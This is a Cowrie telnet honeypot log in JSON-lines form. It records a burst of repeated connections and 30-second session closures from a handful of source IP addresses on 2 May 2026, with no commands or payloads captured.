{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33936,"dst_ip":"10.17.0.5","dst_port":23,"session":"15ccc55f2929","protocol":"telnet","message":"New connection: 199.231.212.75:33936 (10.17.0.5:23) [session: 15ccc55f2929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.013466Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37376,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e15222b8ce8","protocol":"telnet","message":"New connection: 164.68.122.45:37376 (10.17.0.5:23) [session: 7e15222b8ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.038007Z"}
{"eventid":"cowrie.session.closed","duration":30.969203233718872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.068121Z","src_ip":"164.68.122.45","session":"8909602b020f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700429916381836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.226219Z","src_ip":"199.231.212.75","session":"4e18e38e3c14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37380,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ccd070db0b8","protocol":"telnet","message":"New connection: 164.68.122.45:37380 (10.17.0.5:23) [session: 8ccd070db0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.232838Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33952,"dst_ip":"10.17.0.5","dst_port":23,"session":"3014779cae15","protocol":"telnet","message":"New connection: 199.231.212.75:33952 (10.17.0.5:23) [session: 3014779cae15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.426588Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33968,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db225b2f870","protocol":"telnet","message":"New connection: 199.231.212.75:33968 (10.17.0.5:23) [session: 3db225b2f870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.500943Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37388,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9c15958b7c0","protocol":"telnet","message":"New connection: 164.68.122.45:37388 (10.17.0.5:23) [session: c9c15958b7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.648531Z"}
{"eventid":"cowrie.session.closed","duration":31.032788515090942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:19.902118Z","src_ip":"86.120.107.100","session":"972572770f89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.751368284225464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:20.031855Z","src_ip":"199.231.212.75","session":"f6346748812a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.279306888580322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:20.098453Z","src_ip":"199.231.212.75","session":"03697f5bd266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41708,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccacf25f3594","protocol":"telnet","message":"New connection: 164.68.122.45:41708 (10.17.0.5:23) [session: ccacf25f3594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:20.171015Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38132,"dst_ip":"10.17.0.5","dst_port":23,"session":"0caf2d51c806","protocol":"telnet","message":"New connection: 199.231.212.75:38132 (10.17.0.5:23) [session: 0caf2d51c806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:20.180500Z"}
{"eventid":"cowrie.session.closed","duration":30.939614295959473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:20.207330Z","src_ip":"199.231.212.75","session":"f959b6408bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38140,"dst_ip":"10.17.0.5","dst_port":23,"session":"957fcdcdd92c","protocol":"telnet","message":"New connection: 199.231.212.75:38140 (10.17.0.5:23) [session: 957fcdcdd92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:20.211481Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41712,"dst_ip":"10.17.0.5","dst_port":23,"session":"df845d67824a","protocol":"telnet","message":"New connection: 164.68.122.45:41712 (10.17.0.5:23) [session: df845d67824a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:20.679072Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41714,"dst_ip":"10.17.0.5","dst_port":23,"session":"87345af3e112","protocol":"telnet","message":"New connection: 164.68.122.45:41714 (10.17.0.5:23) [session: 87345af3e112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:20.877253Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38156,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4f7cd3e1aaf","protocol":"telnet","message":"New connection: 199.231.212.75:38156 (10.17.0.5:23) [session: f4f7cd3e1aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.061037Z"}
{"eventid":"cowrie.session.closed","duration":30.939772605895996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.168128Z","src_ip":"164.68.122.45","session":"9d3c065152ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41716,"dst_ip":"10.17.0.5","dst_port":23,"session":"2709cb95a435","protocol":"telnet","message":"New connection: 164.68.122.45:41716 (10.17.0.5:23) [session: 2709cb95a435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.248223Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41730,"dst_ip":"10.17.0.5","dst_port":23,"session":"129d46525f32","protocol":"telnet","message":"New connection: 164.68.122.45:41730 (10.17.0.5:23) [session: 129d46525f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.296990Z"}
{"eventid":"cowrie.session.closed","duration":30.796316385269165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.317800Z","src_ip":"164.68.122.45","session":"82503bc5bb92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899503231048584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.426381Z","src_ip":"199.231.212.75","session":"aebdd2eabc60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38168,"dst_ip":"10.17.0.5","dst_port":23,"session":"be0df18f009f","protocol":"telnet","message":"New connection: 199.231.212.75:38168 (10.17.0.5:23) [session: be0df18f009f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.546426Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41710,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df09135d0f9","protocol":"telnet","message":"New connection: 164.68.122.45:41710 (10.17.0.5:23) [session: 2df09135d0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.571109Z"}
{"eventid":"cowrie.session.closed","duration":31.09666681289673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.709940Z","src_ip":"164.68.122.45","session":"441a29b54e39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41732,"dst_ip":"10.17.0.5","dst_port":23,"session":"beef9a769175","protocol":"telnet","message":"New connection: 164.68.122.45:41732 (10.17.0.5:23) [session: beef9a769175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:21.774785Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38178,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5d6985d7ce0","protocol":"telnet","message":"New connection: 199.231.212.75:38178 (10.17.0.5:23) [session: f5d6985d7ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:22.453209Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41746,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fef831bdaae","protocol":"telnet","message":"New connection: 164.68.122.45:41746 (10.17.0.5:23) [session: 0fef831bdaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:22.605731Z"}
{"eventid":"cowrie.session.closed","duration":31.04588508605957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:22.615874Z","src_ip":"199.231.212.75","session":"78def52e8bd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38188,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1f7a6433fbe","protocol":"telnet","message":"New connection: 199.231.212.75:38188 (10.17.0.5:23) [session: a1f7a6433fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:22.702306Z"}
{"eventid":"cowrie.session.closed","duration":31.196858167648315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:22.722111Z","src_ip":"199.231.212.75","session":"fdfdb5a65db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331830263137817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:22.987226Z","src_ip":"164.68.122.45","session":"081f0f5b5f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592097997665405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:23.073519Z","src_ip":"164.68.122.45","session":"4fc636cf96c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683143138885498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:23.126578Z","src_ip":"164.68.122.45","session":"ce9dbd41b517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2563259601593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:23.134951Z","src_ip":"86.120.107.100","session":"2949037745ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246330738067627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:23.719812Z","src_ip":"199.231.212.75","session":"7e1b6e2c993e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38190,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5b6db4e2b4d","protocol":"telnet","message":"New connection: 199.231.212.75:38190 (10.17.0.5:23) [session: f5b6db4e2b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:24.187963Z"}
{"eventid":"cowrie.session.closed","duration":30.40626287460327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:24.232642Z","src_ip":"199.231.212.75","session":"0db4f776b58e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701345443725586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:24.238562Z","src_ip":"86.120.107.100","session":"3130030a18a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41760,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9d594b07a9f","protocol":"telnet","message":"New connection: 164.68.122.45:41760 (10.17.0.5:23) [session: b9d594b07a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:24.256984Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7c1415fcd9","protocol":"telnet","message":"New connection: 199.231.212.75:38200 (10.17.0.5:23) [session: ed7c1415fcd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:24.276927Z"}
{"eventid":"cowrie.session.closed","duration":30.964774131774902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:24.396106Z","src_ip":"199.231.212.75","session":"258bc1794de4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7765793800354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:24.763818Z","src_ip":"164.68.122.45","session":"7bc494b2782c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000585317611694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:24.904567Z","src_ip":"164.68.122.45","session":"f6484942c45d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":43172,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22f9af3d712","protocol":"telnet","message":"New connection: 86.120.107.100:43172 (10.17.0.5:23) [session: b22f9af3d712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:25.028738Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38214,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a33702d6de7","protocol":"telnet","message":"New connection: 199.231.212.75:38214 (10.17.0.5:23) [session: 2a33702d6de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:25.072526Z"}
{"eventid":"cowrie.session.closed","duration":30.602883338928223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:25.098044Z","src_ip":"199.231.212.75","session":"458876f8aa6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6537024974823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:25.117154Z","src_ip":"164.68.122.45","session":"d5ada49bbe93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41768,"dst_ip":"10.17.0.5","dst_port":23,"session":"947757736678","protocol":"telnet","message":"New connection: 164.68.122.45:41768 (10.17.0.5:23) [session: 947757736678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:25.380532Z"}
{"eventid":"cowrie.session.closed","duration":30.69400119781494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:25.560529Z","src_ip":"164.68.122.45","session":"661fa6865bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41784,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ab8e6465062","protocol":"telnet","message":"New connection: 164.68.122.45:41784 (10.17.0.5:23) [session: 3ab8e6465062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:25.663557Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":43186,"dst_ip":"10.17.0.5","dst_port":23,"session":"d976173dcb3c","protocol":"telnet","message":"New connection: 86.120.107.100:43186 (10.17.0.5:23) [session: d976173dcb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:25.930671Z"}
{"eventid":"cowrie.session.closed","duration":30.398132801055908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:26.240604Z","src_ip":"199.231.212.75","session":"e7105904ad3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96223020553589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:26.286294Z","src_ip":"164.68.122.45","session":"5d20ce25e9b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41790,"dst_ip":"10.17.0.5","dst_port":23,"session":"834dcd273e11","protocol":"telnet","message":"New connection: 164.68.122.45:41790 (10.17.0.5:23) [session: 834dcd273e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:26.739813Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38230,"dst_ip":"10.17.0.5","dst_port":23,"session":"a23785899128","protocol":"telnet","message":"New connection: 199.231.212.75:38230 (10.17.0.5:23) [session: a23785899128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:26.747545Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41792,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0200f56d3b4","protocol":"telnet","message":"New connection: 164.68.122.45:41792 (10.17.0.5:23) [session: d0200f56d3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:26.956337Z"}
{"eventid":"cowrie.session.closed","duration":31.900747299194336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:26.961567Z","src_ip":"86.120.107.100","session":"3d11fd5d26f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38240,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf7685a7cf3d","protocol":"telnet","message":"New connection: 199.231.212.75:38240 (10.17.0.5:23) [session: cf7685a7cf3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:27.335991Z"}
{"eventid":"cowrie.session.closed","duration":30.434595823287964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:27.345811Z","src_ip":"199.231.212.75","session":"b49dbb36425c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.343080282211304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:27.428084Z","src_ip":"199.231.212.75","session":"7d1d9fa8231c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853848218917847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:27.480739Z","src_ip":"164.68.122.45","session":"04db78724a7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38254,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3730ed58979","protocol":"telnet","message":"New connection: 199.231.212.75:38254 (10.17.0.5:23) [session: c3730ed58979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:27.527337Z"}
{"eventid":"cowrie.session.closed","duration":31.313894271850586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:27.861494Z","src_ip":"164.68.122.45","session":"f80b7f544fd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.411677360534668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:28.103919Z","src_ip":"164.68.122.45","session":"59d22b3a139f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58640480041504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:28.179765Z","src_ip":"164.68.122.45","session":"29388cb285c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38256,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f452f560783","protocol":"telnet","message":"New connection: 199.231.212.75:38256 (10.17.0.5:23) [session: 6f452f560783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:28.527941Z"}
{"eventid":"cowrie.session.closed","duration":31.645925998687744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:28.718567Z","src_ip":"164.68.122.45","session":"e5d18a6df491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38262,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f051c6cb34","protocol":"telnet","message":"New connection: 199.231.212.75:38262 (10.17.0.5:23) [session: 24f051c6cb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:29.090633Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41804,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa40f4fa549","protocol":"telnet","message":"New connection: 164.68.122.45:41804 (10.17.0.5:23) [session: 7fa40f4fa549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:29.196380Z"}
{"eventid":"cowrie.session.closed","duration":31.170645236968994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:29.402247Z","src_ip":"199.231.212.75","session":"7f4c3e0e7f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":41820,"dst_ip":"10.17.0.5","dst_port":23,"session":"02c5a8e6006e","protocol":"telnet","message":"New connection: 164.68.122.45:41820 (10.17.0.5:23) [session: 02c5a8e6006e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:29.413149Z"}
{"eventid":"cowrie.session.closed","duration":31.177643537521362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:29.565966Z","src_ip":"164.68.122.45","session":"e0e1b4dbec84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":38276,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c8f40513fa","protocol":"telnet","message":"New connection: 199.231.212.75:38276 (10.17.0.5:23) [session: 40c8f40513fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:29.592862Z"}
{"eventid":"cowrie.session.closed","duration":30.25961446762085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:30.117083Z","src_ip":"199.231.212.75","session":"5b27e8745fca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303866624832153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:30.409158Z","src_ip":"199.231.212.75","session":"9d178c2916a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.325501918792725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:30.541491Z","src_ip":"199.231.212.75","session":"c6da64a15dce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7306969165802,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:30.796346Z","src_ip":"199.231.212.75","session":"1430ec369418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40024,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd1de5aacd00","protocol":"telnet","message":"New connection: 164.68.122.45:40024 (10.17.0.5:23) [session: fd1de5aacd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:31.238565Z"}
{"eventid":"cowrie.session.closed","duration":30.558695554733276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:31.480824Z","src_ip":"199.231.212.75","session":"2d6c1cc40e7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56508,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0c4e90b1a80","protocol":"telnet","message":"New connection: 199.231.212.75:56508 (10.17.0.5:23) [session: a0c4e90b1a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:31.905135Z"}
